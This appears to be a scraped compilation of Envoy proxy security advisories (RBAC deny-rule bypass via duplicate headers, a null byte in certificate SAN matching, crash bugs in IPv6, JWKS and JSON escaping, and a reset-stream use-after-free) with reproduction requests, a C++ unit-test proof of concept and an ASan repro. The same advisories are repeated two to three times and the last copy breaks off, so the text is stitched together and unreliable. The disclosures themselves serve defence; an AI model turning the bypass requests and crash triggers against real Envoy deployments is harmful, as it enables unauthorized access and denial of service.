The Envoy RBAC (Role-Based Access Control) filter contains a logic vulnerability in how it validates HTTP headers when multiple values are present for the same header name. Instead of validating each header value individually, Envoy concatenates all values into a single comma-separated string. This behavior allows attackers to bypass RBAC policies—specifically "Deny" rules—by sending duplicate headers, effectively obscuring the malicious value from exact-match mechanisms.

2. Attack Scenario

Consider an environment where an administrator wants to block external access to internal resources using a specific header flag.

Configuration

The Envoy proxy is configured with a Deny rule to reject requests containing the header internal: true.

• Rule Type: Exact Match
• Target: internal header must not equal true.

The Bypass Logic

1. Standard Request (Blocked):

   • Input: internal: true
   • Envoy Processing: Sees string "true".
   • Result: Match found. Request Denied.

2. Exploit Request (Bypassed):

   • Input:

     internal: true
     internal: true
     

   • Envoy Processing: Concatenates values into "true,true".
   • Matcher Evaluation: Does "true,true" equal "true"? No.
   • Result: The Deny rule fails to trigger. Request Allowed.

3. Implications

• RBAC Bypass: Remote attackers can bypass configured access controls.
• Unauthorized Access: Sensitive internal resources or administrative endpoints protected by header-based Deny rules become accessible.
• Risk: High, particularly for deployments relying on "Exact Match" strategies for security blocking.

4. Reproduction Steps

To verify this vulnerability:

1. Deploy Envoy: Configure an instance with an RBAC Deny rule that performs an exact match on a specific header (e.g., internal: true).
2. Baseline Test: Send a request containing the header internal: true.
   • Observation: Envoy blocks this request (HTTP 403).
3. Exploit Test: Send a second request containing the same header twice:

   GET /restricted-resource HTTP/1.1
   Host: example.com
   internal: true
   internal: true
   

   • Observation: Envoy allows the request, granting access to the resource.

6. Recommendations

Fix Header Validation Logic: Modify the RBAC filter to validate each header value instance individually. Avoid relying on the concatenated string output of getAllOfHeaderAsString() for security-critical matching unless the matcher is explicitly designed to parse comma-separated lists.

** Examine the DENY role to use a Regex style fix.

Credit: Dor Konis

Summary

Calling Utility::getAddressWithPort with a scoped IPv6 addresses causes a crash. This utility is called in the data plane from the original_src filter and the dns filter.

Details

The crashing function is Utility::getAddressWithPort. The crash occurs if a string containing a scoped IPv6 address is passed to this function.

This vulnerability affects:

1. The original src filter: If the filter is configured and the original source is a scoped IPv6 address, it will cause a crash.
2. DNS response address resolution: If a DNS response contains a scoped IPv6 address, this will also trigger the crash.

PoC

To reproduce the vulnerability:

1. Method A (Original Src Filter): Configure the original src filter in Envoy and provide a scoped IPv6 address as the original source.
2. Method B (DNS Resolution): Trigger a DNS resolution process within Envoy where the DNS response contains a scoped IPv6 address.

Impact

This is a Denial of Service (DoS) vulnerability. It impacts users who have the original src filter configured or whose Envoy instances resolve addresses from DNS responses that may contain scoped IPv6 addresses.

Summary

Envoy’s mTLS certificate matcher for match_typed_subject_alt_names may incorrectly treat certificates containing an embedded null byte (\0) inside an OTHERNAME SAN value as valid matches.

Details

This occurs when the SAN is encoded as a BMPSTRING or UNIVERSALSTRING, and its UTF-8 conversion result is truncated at the first null byte during string assignment. As a result, "victim\0evil" may match an exact: "victim" rule and be accepted by Envoy.

PoC

Create a CA and a server certificate signed by that CA. Create two client certificates signed by the same CA: client_evil with OTHERNAME BMPSTRING = "evil" client_null with OTHERNAME BMPSTRING = "victim\0evil" Configure Envoy with require_client_certificate: true and a match_typed_subject_alt_names entry for the OTHERNAME OID with matcher.exact: "victim". Connect without a client cert → connection rejected. Connect with client_evil → connection rejected. Connect with client_null → connection accepted (but shouldn't!).

Impact

An attacker who can obtain a trusted client certificate with a null byte embedded in an OTHERNAME SAN can exploit this vulnerability. The practical impact is unauthorized impersonation of the matched identity, enabling access to services or APIs protected by that exact OTHERNAME check.

Credit

markevich.nikita1@gmail.com

Summary

Forwarding of early CONNECT data in TCP proxy mode.

Details

Per RFC 7231-4.3.6 the sender of CONNECT (and all inbound proxies) switch to tunnel mode only after receiving 2xx response. However in TCP proxy mode, Envoy accepts client data before it has issued a 2xx response and eagerly proxies it to an established TCP connection. This creates possibility of a de-synchronized tunnel state if a proxy upstream from Envoy responds with a status other an 2xx.

The RFC does not specify the behavior in case an early CONNECT data is received and early CONNECT data is common as a latency reduction mechanism. To prevent disruption to existing deployments Envoy will by default allow early CONNECT data. Setting the envoy.reloadable_features.reject_early_connect_data runtime flag to true will cause CONNECT requests that send data before 2xx response to be rejected. This options should be enabled if there are intermediaries upstream from Envoy that may reject establishment of a CONNECT tunnel.

Impact

De-synchronization of CONNECT tunnel state if a forwarding proxy upstream from Envoy responds with a non 2xx status.

Attack vector(s)

Sending data for a CONNECT request before receiving 2xx response.

Patches

Users should upgrade to v1.36.3, v1.35.7, v1.34.11 or v1.33.13

Credits

chasingimpact (Patrick)

Summary

Envoy crashes when JWT authentication is configured with the remote JWKS fetching, allow_missing_or_failed is enabled, multiple JWT tokens are present in the request headers and the JWKS fetch fails.

Details

This is caused by a re-entry bug in the JwksFetcherImpl. When the first token's JWKS fetch fails, onJwksError() callback triggers processing of the second token, which calls fetch() again on the same fetcher object.

The original callback's reset() then clears the second fetch's state (receiver_ and request_) which causes a crash when the async HTTP response arrives.

PoC

• allow_missing_or_failed or allow_missing is enabled
• The client send 2 Authorization headers
• the remote JWKS fetching failed
• There will be crash

Impact

DoS and Crash

Mitigation

• Disable the allow_missing_or_failed or allow_missing

Note: This vulnerability was originally reported to the Google OSS VRP (Issue ID: 477542544). The Google Security Team requested that I coordinate directly with the Envoy maintainers for triage and remediation. I am submitting this report here to facilitate that process.

Technical Details I have identified a logic vulnerability in Envoy's HTTP connection manager (FilterManager) that allows for Zombie Stream Filter Execution. This issue creates a "Use-After-Free" (UAF) or state-corruption window where filter callbacks are invoked on an HTTP stream that has already been logically reset and cleaned up.

Mechanism: The vulnerability resides in source/common/http/filter_manager.cc within the FilterManager::decodeData method.

When an HTTP/2 stream encounters a reset condition (e.g., StreamIdleTimeout, OverloadManager limits, or a local reset triggered by a filter), Envoy calls onResetStream. This method:

1. Sets the internal state state_.saw_downstream_reset_ = true.
2. Invokes onDestroy() on all filters in the chain (allowing them to release resources/pointers).
3. Schedules the ActiveStream object for deferred deletion (cleanup happens later in the event loop).

The Flaw: The ActiveStream object remains valid in memory during the deferred deletion window. If a DATA frame arrives on this stream immediately after the reset (e.g., in the same packet processing cycle), the HTTP/2 codec invokes ActiveStream::decodeData, which cascades to FilterManager::decodeData.

FilterManager::decodeData fails to check the saw_downstream_reset_ flag. It iterates over the decoder_filters_ list and invokes decodeData() on filters that have already received onDestroy().

Root Cause Code Location: File: source/common/http/filter_manager.cc Function: FilterManager::decodeData

void FilterManager::decodeData(...) {
  if (stopDecoderFilterChain()) { return; }

  // Vulnerability: Missing check for state_.saw_downstream_reset_
  // Execution proceeds into the loop even if the stream is logically dead.

  auto trailers_added_entry = decoder_filters_.end();
  for (; entry != decoder_filters_.end(); entry++) {
      // ... calls (*entry)->handle_->decodeData(data) on destroyed filters ...
  }
}

Suggested Fix: Add an explicit state check at the beginning of FilterManager::decodeData.

// Prevent execution on streams that have been reset but not yet destroyed.
if (state_.saw_downstream_reset_) {
  return;
}

Impact Analysis

Who can exploit this: Any remote attacker capable of establishing an HTTP/2 or HTTP/3 connection. No privileges/authentication required.

Impact & Gain: 1. Memory Corruption & Potential Remote Code Execution: While the immediate symptom is a crash (DoS), the underlying primitive is a Use-After-Free (CWE-416).

• Mechanism: When onDestroy() is called on filters (e.g., Lua, Wasm, or complex native filters), they release internal structures and invalidate pointers.
• Exploitation: By forcing decodeData() to execute on these now-freed objects, an attacker triggers undefined behavior. In a heap-groomed environment, an attacker could potentially replace the freed filter object with a malicious payload before the "Zombie" decodeData call occurs. This would allow for vtable hijacking or arbitrary write-what-where primitives, leading to Remote Code Execution (RCE).
• Risk Amplification: This is particularly dangerous for Envoy deployments using memory-unsafe extensions or third-party filters (C++ extensions), where onDestroy logic is relied upon for safety.

2. Security Control Bypass: The vulnerability defeats Envoy's "Fail-Closed" security architecture.

• Scenario: If a stream is reset due to a security violation (e.g., StreamIdleTimeout, OverloadManager rejection, or WAF triggering), this vulnerability allows the attacker to bypass the termination.
• Result: The attacker can force the processing of "Data" frames on a connection that the security policy explicitly attempted to close, allowing malicious payloads to reach deeper into the filter chain or backend services despite the rejection.

Proof of Concept (Unit Test)

Description: The attached C++ unit test (zombie_stream_poc_test.cc) deterministically reproduces the vulnerability. It creates a stream, manually triggers a reset (simulating an Overload), and then immediately injects a DATA frame. The test asserts that the filter's decodeData callback is invoked on the reset stream.

#include "test/common/http/conn_manager_impl_test_base.h"
#include "gmock/gmock.h"
#include "gtest/gtest.h"

using testing::_;
using testing::Invoke;
using testing::NiceMock;
using testing::Return;

namespace Envoy {
namespace Http {

/**
 * Proof of Concept for "Zombie Stream Filter Execution" (HTTP/2 Reset Re-entrancy)
 * * Logic flow:
 * 1. Open a stream with HEADERS.
 * 2. Force a stream reset (simulating an Overload or Timeout).
 * 3. Immediately inject DATA into the stream.
 * 4. ASSERT that the filter's decodeData is called despite the stream being reset.
 */
class ZombieStreamPocTest : public HttpConnectionManagerImplTest {
};

TEST_F(ZombieStreamPocTest, ReproducedZombieFilterExecution) {
  setup(SetupOpts().setTracing(false));

  // 1. Setup a mock filter
  std::shared_ptr<MockStreamDecoderFilter> filter(new NiceMock<MockStreamDecoderFilter>());
   
  // Vuln confirmation:
  // We expect decodeData to be called on this filter even though the stream is reset.
  // In a secure/patched implementation, this EXPECT_CALL should fail (Times(0)).
  EXPECT_CALL(*filter, decodeData(_, _))
      .Times(1)
      .WillOnce(Invoke([&](Buffer::Instance&, bool) -> FilterDataStatus {
          ENVOY_LOG_MISC(error, "!!! VULNERABILITY REPRODUCED: decodeData called on a reset stream !!!");
          return FilterDataStatus::Continue;
      }));

  EXPECT_CALL(*filter, decodeHeaders(_, false))
      .WillOnce(Return(FilterHeadersStatus::StopIteration));

  // Register the filter
  EXPECT_CALL(filter_factory_, createFilterChain(_))
      .WillOnce(Invoke([&](FilterChainFactoryCallbacks& callbacks) -> bool {
        auto factory = createDecoderFilterFactoryCb(filter);
        callbacks.setFilterConfigName("vulnerable_filter");
        factory(callbacks);
        return true;
      }));

  // 2. Start the stream
  EXPECT_CALL(*codec_, dispatch(_))
      .WillOnce(Invoke([&](Buffer::Instance&) -> Http::Status {
        decoder_ = &conn_manager_->newStream(response_encoder_);
        RequestHeaderMapPtr headers{new TestRequestHeaderMapImpl{
            {":authority", "host"}, {":path", "/"}, {":method", "POST"}}};
        decoder_->decodeHeaders(std::move(headers), false);
        return Http::okStatus();
      }));

  // Dispatch headers
  Buffer::OwnedImpl header_buffer("headers");
  conn_manager_->onData(header_buffer, false);

  // 3. Trigger a Reset on the ActiveStream
  // This simulates Envoy terminating the stream due to an external event (Overload, Timeout).
  auto* active_stream = dynamic_cast<ConnectionManagerImpl::ActiveStream*>(decoder_);
  
  // This sets state_.saw_downstream_reset_ = true and triggers filter->onDestroy()
  active_stream->onResetStream(StreamResetReason::LocalReset, "simulated_overload");

  // 4. Attack: Send DATA to the "Zombie" stream
  // The ActiveStream object is still alive in the deferred delete list.
  Buffer::OwnedImpl malicious_payload("attacker_data");
   
  // This call reaches the filter because FilterManager::decodeData misses the check!
  active_stream->decodeData(malicious_payload, false);
}

} // namespace Http
} // namespace Envoy

Summary

An off-by-one write in Envoy::JsonEscaper::escapeString() can corrupt std::string null-termination, causing undefined behavior and potentially leading to crashes or out-of-bounds reads when the resulting string is later treated as a C-string.

Details

The bug is in the control-character escaping path in source/common/common/ json_escape_string.h:67.

• The function pre-sizes result to the final length: std::string result(input.size() + required_size, '\');
• For control characters (0x00..0x1f), it emits a JSON escape sequence of length 6: \u00XX.
• It uses sprintf(&result[position + 1], "u%04x", ...), which writes 5 chars + a trailing NUL (\0) starting at result[position + 1].
• Then it does position += 6; and writes result[position] = '\'; to overwrite the NUL.
• If the control character occurs at the end of the output (e.g., the input ends with \x01), then after position += 6, position == result.size(), so result[position] is one past the end (off-by-one), violating std::string bounds/contract.

Concretely, the problematic lines are:

• source/common/common/json_escape_string.h:69 (sprintf(...))
• source/common/common/json_escape_string.h:72 (result[position] = '\';)

Potentially reachable from request-driven paths that escape untrusted data, e.g. invalid header reporting:

• source/common/http/header_utility.cc:538 ~ source/common/http/ header_utility.cc:546 (escapes invalid header key for error text)

Even when this doesn’t immediately crash, it can break the std::string requirement that c_str()[size()] == '\0', which can later trigger UB (e.g., if passed to strlen, printf("%s"), or any C API that expects NUL termination).

//clang++ -std=c++20 -O0 -g -fsanitize=address -fno-omit-frame-pointer
repro_json_escape_asan.cc -o repro_json_escape_asan
ASAN_OPTIONS=abort_on_error=1 ./repro_json_escape_asan
#include <cstdint>
#include <cstdio>
#include <cstring>
#include <string>
#include <string_view>

static uint64_t extraSpace(std::string_view input) {
  uint64_t result = 0;
  for (unsigned char c : input) {
    switch (c) {
    case '\"':
    case '\\':
    case '\b':
    case '\f':
    case '\n':
    case '\r':
    case '\t':
      result += 1;
      break;
    default:
      if (c == 0x00 || (c > 0x00 && c <= 0x1f)) {
        result += 5;
      }
      break;
    }
  }
  return result;
}

static std::string escapeString(std::string_view input, uint64_t
required_size) {
  std::string result(input.size() + required_size, '\\');
  uint64_t position = 0;

  for (unsigned char character : input) {
    switch (character) {
    case '\"':
      result[position + 1] = '\"';
      position += 2;
      break;
    case '\\':
      position += 2;
      break;
    case '\b':
      result[position + 1] = 'b';
      position += 2;
      break;
    case '\f':
      result[position + 1] = 'f';
      position += 2;
      break;
    case '\n':
      result[position + 1] = 'n';
      position += 2;
      break;
    case '\r':
      result[position + 1] = 'r';
      position += 2;
      break;
    case '\t':
      result[position + 1] = 't';
      position += 2;
      break;
    default:
      if (character == 0x00 || (character > 0x00 && character <= 0x1f)) {
        std::sprintf(&result[position + 1], "u%04x",
static_cast<int>(character));
        position += 6;
        // Off-by-one when this escape is the last output chunk:
        // position can become result.size(), so result[position] is out of
bounds.
        result[position] = '\\';
      } else {
        result[position++] = static_cast<char>(character);
      }
      break;
    }
  }

  return result;
}

int main() {
  std::string input(4096, 'A');
  input.push_back('\x01'); // ends with a control char -> triggers the buggy
path at the end

  const uint64_t required = extraSpace(input);
  std::string escaped = escapeString(input, required);

  std::printf("escaped.size=%zu\n", escaped.size());
  unsigned char terminator = static_cast<unsigned char>(escaped.c_str()
[escaped.size()]);
  std::printf("escaped.c_str()[escaped.size()] = 0x%02x\n", terminator);

  // If NUL termination is corrupted, this can read past the logical end.
  std::printf("strlen(escaped.c_str()) = %zu\n",
std::strlen(escaped.c_str()));
  return 0;
}```

1. Summary

The Envoy RBAC (Role-Based Access Control) filter contains a logic vulnerability in how it validates HTTP headers when multiple values are present for the same header name. Instead of validating each header value individually, Envoy concatenates all values into a single comma-separated string. This behavior allows attackers to bypass RBAC policies—specifically "Deny" rules—by sending duplicate headers, effectively obscuring the malicious value from exact-match mechanisms.

2. Attack Scenario

Consider an environment where an administrator wants to block external access to internal resources using a specific header flag.

Configuration

The Envoy proxy is configured with a Deny rule to reject requests containing the header internal: true.

• Rule Type: Exact Match
• Target: internal header must not equal true.

The Bypass Logic

1. Standard Request (Blocked):

   • Input: internal: true
   • Envoy Processing: Sees string "true".
   • Result: Match found. Request Denied.

2. Exploit Request (Bypassed):

   • Input:

     internal: true
     internal: true
     

   • Envoy Processing: Concatenates values into "true,true".
   • Matcher Evaluation: Does "true,true" equal "true"? No.
   • Result: The Deny rule fails to trigger. Request Allowed.

3. Implications

• RBAC Bypass: Remote attackers can bypass configured access controls.
• Unauthorized Access: Sensitive internal resources or administrative endpoints protected by header-based Deny rules become accessible.
• Risk: High, particularly for deployments relying on "Exact Match" strategies for security blocking.

4. Reproduction Steps

To verify this vulnerability:

1. Deploy Envoy: Configure an instance with an RBAC Deny rule that performs an exact match on a specific header (e.g., internal: true).
2. Baseline Test: Send a request containing the header internal: true.
   • Observation: Envoy blocks this request (HTTP 403).
3. Exploit Test: Send a second request containing the same header twice:

   GET /restricted-resource HTTP/1.1
   Host: example.com
   internal: true
   internal: true
   

   • Observation: Envoy allows the request, granting access to the resource.

6. Recommendations

Fix Header Validation Logic: Modify the RBAC filter to validate each header value instance individually. Avoid relying on the concatenated string output of getAllOfHeaderAsString() for security-critical matching unless the matcher is explicitly designed to parse comma-separated lists.

** Examine the DENY role to use a Regex style fix.

Credit: Dor Konis

Summary

Calling Utility::getAddressWithPort with a scoped IPv6 addresses causes a crash. This utility is called in the data plane from the original_src filter and the dns filter.

Details

The crashing function is Utility::getAddressWithPort. The crash occurs if a string containing a scoped IPv6 address is passed to this function.

This vulnerability affects:

1. The original src filter: If the filter is configured and the original source is a scoped IPv6 address, it will cause a crash.
2. DNS response address resolution: If a DNS response contains a scoped IPv6 address, this will also trigger the crash.

PoC

To reproduce the vulnerability:

1. Method A (Original Src Filter): Configure the original src filter in Envoy and provide a scoped IPv6 address as the original source.
2. Method B (DNS Resolution): Trigger a DNS resolution process within Envoy where the DNS response contains a scoped IPv6 address.

Impact

This is a Denial of Service (DoS) vulnerability. It impacts users who have the original src filter configured or whose Envoy instances resolve addresses from DNS responses that may contain scoped IPv6 addresses.

Summary

Envoy’s mTLS certificate matcher for match_typed_subject_alt_names may incorrectly treat certificates containing an embedded null byte (\0) inside an OTHERNAME SAN value as valid matches.

Details

This occurs when the SAN is encoded as a BMPSTRING or UNIVERSALSTRING, and its UTF-8 conversion result is truncated at the first null byte during string assignment. As a result, "victim\0evil" may match an exact: "victim" rule and be accepted by Envoy.

PoC

Create a CA and a server certificate signed by that CA. Create two client certificates signed by the same CA: client_evil with OTHERNAME BMPSTRING = "evil" client_null with OTHERNAME BMPSTRING = "victim\0evil" Configure Envoy with require_client_certificate: true and a match_typed_subject_alt_names entry for the OTHERNAME OID with matcher.exact: "victim". Connect without a client cert → connection rejected. Connect with client_evil → connection rejected. Connect with client_null → connection accepted (but shouldn't!).

Impact

An attacker who can obtain a trusted client certificate with a null byte embedded in an OTHERNAME SAN can exploit this vulnerability. The practical impact is unauthorized impersonation of the matched identity, enabling access to services or APIs protected by that exact OTHERNAME check.

Credit

markevich.nikita1@gmail.com

Summary

Forwarding of early CONNECT data in TCP proxy mode.

Details

Per RFC 7231-4.3.6 the sender of CONNECT (and all inbound proxies) switch to tunnel mode only after receiving 2xx response. However in TCP proxy mode, Envoy accepts client data before it has issued a 2xx response and eagerly proxies it to an established TCP connection. This creates possibility of a de-synchronized tunnel state if a proxy upstream from Envoy responds with a status other an 2xx.

The RFC does not specify the behavior in case an early CONNECT data is received and early CONNECT data is common as a latency reduction mechanism. To prevent disruption to existing deployments Envoy will by default allow early CONNECT data. Setting the envoy.reloadable_features.reject_early_connect_data runtime flag to true will cause CONNECT requests that send data before 2xx response to be rejected. This options should be enabled if there are intermediaries upstream from Envoy that may reject establishment of a CONNECT tunnel.

Impact

De-synchronization of CONNECT tunnel state if a forwarding proxy upstream from Envoy responds with a non 2xx status.

Attack vector(s)

Sending data for a CONNECT request before receiving 2xx response.

Patches

Users should upgrade to v1.36.3, v1.35.7, v1.34.11 or v1.33.13

Credits

chasingimpact (Patrick)

Summary

Envoy crashes when JWT authentication is configured with the remote JWKS fetching, allow_missing_or_failed is enabled, multiple JWT tokens are present in the request headers and the JWKS fetch fails.

Details

This is caused by a re-entry bug in the JwksFetcherImpl. When the first token's JWKS fetch fails, onJwksError() callback triggers processing of the second token, which calls fetch() again on the same fetcher object.

The original callback's reset() then clears the second fetch's state (receiver_ and request_) which causes a crash when the async HTTP response arrives.

PoC

• allow_missing_or_failed or allow_missing is enabled
• The client send 2 Authorization headers
• the remote JWKS fetching failed
• There will be crash

Impact

DoS and Crash

Mitigation

• Disable the allow_missing_or_failed or allow_missing

Note: This vulnerability was originally reported to the Google OSS VRP (Issue ID: 477542544). The Google Security Team requested that I coordinate directly with the Envoy maintainers for triage and remediation. I am submitting this report here to facilitate that process.

Technical Details I have identified a logic vulnerability in Envoy's HTTP connection manager (FilterManager) that allows for Zombie Stream Filter Execution. This issue creates a "Use-After-Free" (UAF) or state-corruption window where filter callbacks are invoked on an HTTP stream that has already been logically reset and cleaned up.

Mechanism: The vulnerability resides in source/common/http/filter_manager.cc within the FilterManager::decodeData method.

When an HTTP/2 stream encounters a reset condition (e.g., StreamIdleTimeout, OverloadManager limits, or a local reset triggered by a filter), Envoy calls onResetStream. This method:

1. Sets the internal state state_.saw_downstream_reset_ = true.
2. Invokes onDestroy() on all filters in the chain (allowing them to release resources/pointers).
3. Schedules the ActiveStream object for deferred deletion (cleanup happens later in the event loop).

The Flaw: The ActiveStream object remains valid in memory during the deferred deletion window. If a DATA frame arrives on this stream immediately after the reset (e.g., in the same packet processing cycle), the HTTP/2 codec invokes ActiveStream::decodeData, which cascades to FilterManager::decodeData.

FilterManager::decodeData fails to check the saw_downstream_reset_ flag. It iterates over the decoder_filters_ list and invokes decodeData() on filters that have already received onDestroy().

Root Cause Code Location: File: source/common/http/filter_manager.cc Function: FilterManager::decodeData

void FilterManager::decodeData(...) {
  if (stopDecoderFilterChain()) { return; }

  // Vulnerability: Missing check for state_.saw_downstream_reset_
  // Execution proceeds into the loop even if the stream is logically dead.

  auto trailers_added_entry = decoder_filters_.end();
  for (; entry != decoder_filters_.end(); entry++) {
      // ... calls (*entry)->handle_->decodeData(data) on destroyed filters ...
  }
}

Suggested Fix: Add an explicit state check at the beginning of FilterManager::decodeData.

// Prevent execution on streams that have been reset but not yet destroyed.
if (state_.saw_downstream_reset_) {
  return;
}

Impact Analysis

Who can exploit this: Any remote attacker capable of establishing an HTTP/2 or HTTP/3 connection. No privileges/authentication required.

Impact & Gain: 1. Memory Corruption & Potential Remote Code Execution: While the immediate symptom is a crash (DoS), the underlying primitive is a Use-After-Free (CWE-416).

• Mechanism: When onDestroy() is called on filters (e.g., Lua, Wasm, or complex native filters), they release internal structures and invalidate pointers.
• Exploitation: By forcing decodeData() to execute on these now-freed objects, an attacker triggers undefined behavior. In a heap-groomed environment, an attacker could potentially replace the freed filter object with a malicious payload before the "Zombie" decodeData call occurs. This would allow for vtable hijacking or arbitrary write-what-where primitives, leading to Remote Code Execution (RCE).
• Risk Amplification: This is particularly dangerous for Envoy deployments using memory-unsafe extensions or third-party filters (C++ extensions), where onDestroy logic is relied upon for safety.

2. Security Control Bypass: The vulnerability defeats Envoy's "Fail-Closed" security architecture.

• Scenario: If a stream is reset due to a security violation (e.g., StreamIdleTimeout, OverloadManager rejection, or WAF triggering), this vulnerability allows the attacker to bypass the termination.
• Result: The attacker can force the processing of "Data" frames on a connection that the security policy explicitly attempted to close, allowing malicious payloads to reach deeper into the filter chain or backend services despite the rejection.

Proof of Concept (Unit Test)

Description: The attached C++ unit test (zombie_stream_poc_test.cc) deterministically reproduces the vulnerability. It creates a stream, manually triggers a reset (simulating an Overload), and then immediately injects a DATA frame. The test asserts that the filter's decodeData callback is invoked on the reset stream.

#include "test/common/http/conn_manager_impl_test_base.h"
#include "gmock/gmock.h"
#include "gtest/gtest.h"

using testing::_;
using testing::Invoke;
using testing::NiceMock;
using testing::Return;

namespace Envoy {
namespace Http {

/**
 * Proof of Concept for "Zombie Stream Filter Execution" (HTTP/2 Reset Re-entrancy)
 * * Logic flow:
 * 1. Open a stream with HEADERS.
 * 2. Force a stream reset (simulating an Overload or Timeout).
 * 3. Immediately inject DATA into the stream.
 * 4. ASSERT that the filter's decodeData is called despite the stream being reset.
 */
class ZombieStreamPocTest : public HttpConnectionManagerImplTest {
};

TEST_F(ZombieStreamPocTest, ReproducedZombieFilterExecution) {
  setup(SetupOpts().setTracing(false));

  // 1. Setup a mock filter
  std::shared_ptr<MockStreamDecoderFilter> filter(new NiceMock<MockStreamDecoderFilter>());
   
  // Vuln confirmation:
  // We expect decodeData to be called on this filter even though the stream is reset.
  // In a secure/patched implementation, this EXPECT_CALL should fail (Times(0)).
  EXPECT_CALL(*filter, decodeData(_, _))
      .Times(1)
      .WillOnce(Invoke([&](Buffer::Instance&, bool) -> FilterDataStatus {
          ENVOY_LOG_MISC(error, "!!! VULNERABILITY REPRODUCED: decodeData called on a reset stream !!!");
          return FilterDataStatus::Continue;
      }));

  EXPECT_CALL(*filter, decodeHeaders(_, false))
      .WillOnce(Return(FilterHeadersStatus::StopIteration));

  // Register the filter
  EXPECT_CALL(filter_factory_, createFilterChain(_))
      .WillOnce(Invoke([&](FilterChainFactoryCallbacks& callbacks) -> bool {
        auto factory = createDecoderFilterFactoryCb(filter);
        callbacks.setFilterConfigName("vulnerable_filter");
        factory(callbacks);
        return true;
      }));

  // 2. Start the stream
  EXPECT_CALL(*codec_, dispatch(_))
      .WillOnce(Invoke([&](Buffer::Instance&) -> Http::Status {
        decoder_ = &conn_manager_->newStream(response_encoder_);
        RequestHeaderMapPtr headers{new TestRequestHeaderMapImpl{
            {":authority", "host"}, {":path", "/"}, {":method", "POST"}}};
        decoder_->decodeHeaders(std::move(headers), false);
        return Http::okStatus();
      }));

  // Dispatch headers
  Buffer::OwnedImpl header_buffer("headers");
  conn_manager_->onData(header_buffer, false);

  // 3. Trigger a Reset on the ActiveStream
  // This simulates Envoy terminating the stream due to an external event (Overload, Timeout).
  auto* active_stream = dynamic_cast<ConnectionManagerImpl::ActiveStream*>(decoder_);
  
  // This sets state_.saw_downstream_reset_ = true and triggers filter->onDestroy()
  active_stream->onResetStream(StreamResetReason::LocalReset, "simulated_overload");

  // 4. Attack: Send DATA to the "Zombie" stream
  // The ActiveStream object is still alive in the deferred delete list.
  Buffer::OwnedImpl malicious_payload("attacker_data");
   
  // This call reaches the filter because FilterManager::decodeData misses the check!
  active_stream->decodeData(malicious_payload, false);
}

} // namespace Http
} // namespace Envoy

Summary

An off-by-one write in Envoy::JsonEscaper::escapeString() can corrupt std::string null-termination, causing undefined behavior and potentially leading to crashes or out-of-bounds reads when the resulting string is later treated as a C-string.

Details

The bug is in the control-character escaping path in source/common/common/ json_escape_string.h:67.

• The function pre-sizes result to the final length: std::string result(input.size() + required_size, '\');
• For control characters (0x00..0x1f), it emits a JSON escape sequence of length 6: \u00XX.
• It uses sprintf(&result[position + 1], "u%04x", ...), which writes 5 chars + a trailing NUL (\0) starting at result[position + 1].
• Then it does position += 6; and writes result[position] = '\'; to overwrite the NUL.
• If the control character occurs at the end of the output (e.g., the input ends with \x01), then after position += 6, position == result.size(), so result[position] is one past the end (off-by-one), violating std::string bounds/contract.

Concretely, the problematic lines are:

• source/common/common/json_escape_string.h:69 (sprintf(...))
• source/common/common/json_escape_string.h:72 (result[position] = '\';)

Potentially reachable from request-driven paths that escape untrusted data, e.g. invalid header reporting:

• source/common/http/header_utility.cc:538 ~ source/common/http/ header_utility.cc:546 (escapes invalid header key for error text)

Even when this doesn’t immediately crash, it can break the std::string requirement that c_str()[size()] == '\0', which can later trigger UB (e.g., if passed to strlen, printf("%s"), or any C API that expects NUL termination).

//clang++ -std=c++20 -O0 -g -fsanitize=address -fno-omit-frame-pointer
repro_json_escape_asan.cc -o repro_json_escape_asan
ASAN_OPTIONS=abort_on_error=1 ./repro_json_escape_asan
#include <cstdint>
#include <cstdio>
#include <cstring>
#include <string>
#include <string_view>

static uint64_t extraSpace(std::string_view input) {
  uint64_t result = 0;
  for (unsigned char c : input) {
    switch (c) {
    case '\"':
    case '\\':
    case '\b':
    case '\f':
    case '\n':
    case '\r':
    case '\t':
      result += 1;
      break;
    default:
      if (c == 0x00 || (c > 0x00 && c <= 0x1f)) {
        result += 5;
      }
      break;
    }
  }
  return result;
}

static std::string escapeString(std::string_view input, uint64_t
required_size) {
  std::string result(input.size() + required_size, '\\');
  uint64_t position = 0;

  for (unsigned char character : input) {
    switch (character) {
    case '\"':
      result[position + 1] = '\"';
      position += 2;
      break;
    case '\\':
      position += 2;
      break;
    case '\b':
      result[position + 1] = 'b';
      position += 2;
      break;
    case '\f':
      result[position + 1] = 'f';
      position += 2;
      break;
    case '\n':
      result[position + 1] = 'n';
      position += 2;
      break;
    case '\r':
      result[position + 1] = 'r';
      position += 2;
      break;
    case '\t':
      result[position + 1] = 't';
      position += 2;
      break;
    default:
      if (character == 0x00 || (character > 0x00 && character <= 0x1f)) {
        std::sprintf(&result[position + 1], "u%04x",
static_cast<int>(character));
        position += 6;
        // Off-by-one when this escape is the last output chunk:
        // position can become result.size(), so result[position] is out of
bounds.
        result[position] = '\\';
      } else {
        result[position++] = static_cast<char>(character);
      }
      break;
    }
  }

  return result;
}

int main() {
  std::string input(4096, 'A');
  input.push_back('\x01'); // ends with a control char -> triggers the buggy
path at the end

  const uint64_t required = extraSpace(input);
  std::string escaped = escapeString(input, required);

  std::printf("escaped.size=%zu\n", escaped.size());
  unsigned char terminator = static_cast<unsigned char>(escaped.c_str()
[escaped.size()]);
  std::printf("escaped.c_str()[escaped.size()] = 0x%02x\n", terminator);

  // If NUL termination is corrupted, this can read past the logical end.
  std::printf("strlen(escaped.c_str()) = %zu\n",
std::strlen(escaped.c_str()));
  return 0;
}```

1. Summary

The Envoy RBAC (Role-Based Access Control) filter contains a logic vulnerability in how it validates HTTP headers when multiple values are present for the same header name. Instead of validating each header value individually, Envoy concatenates all values into a single comma-separated string. This behavior allows attackers to bypass RBAC policies—specifically "Deny" rules—by sending duplicate headers, effectively obscuring the malicious value from exact-match mechanisms.

2. Attack Scenario

Consider an environment where an administrator wants to block external access to internal resources using a specific header flag.

Configuration

The Envoy proxy is configured with a Deny rule to reject requests containing the header internal: true.

• Rule Type: Exact Match
• Target: internal header must not equal true.

The Bypass Logic

1. Standard Request (Blocked):

   • Input: internal: true
   • Envoy Processing: Sees string "true".
   • Result: Match found. Request Denied.

2. Exploit Request (Bypassed):

   • Input:

     internal: true
     internal: true
     

   • Envoy Processing: Concatenates values into "true,true".
   • Matcher Evaluation: Does "true,true" equal "true"? No.
   • Result: The Deny rule fails to trigger. Request Allowed.

3. Implications

• RBAC Bypass: Remote attackers can bypass configured access controls.
• Unauthorized Access: Sensitive internal resources or administrative endpoints protected by header-based Deny rules become accessible.
